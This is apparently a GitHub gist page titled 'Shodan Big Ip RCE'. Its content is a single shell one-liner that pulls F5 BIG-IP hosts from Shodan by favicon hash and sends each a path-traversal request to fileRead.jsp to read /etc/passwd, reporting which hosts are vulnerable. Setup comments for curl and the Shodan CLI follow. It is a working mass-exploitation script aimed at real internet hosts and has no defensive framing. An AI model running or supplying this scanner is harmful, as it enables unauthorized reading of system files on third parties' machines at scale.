Skip to content

Instantly share code, notes, and snippets.

@ruevaughn
Forked from Mad-robot/rce.sh
Created September 28, 2023 13:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ruevaughn/2fa544471757ab4a02946576d4e65448 to your computer and use it in GitHub Desktop.
Save ruevaughn/2fa544471757ab4a02946576d4e65448 to your computer and use it in GitHub Desktop.
Shodan Big Ip RCE
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
#sudo apt install curl
#sudo apt install python3-shodan
#shodan init YOUR_API_KEY
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment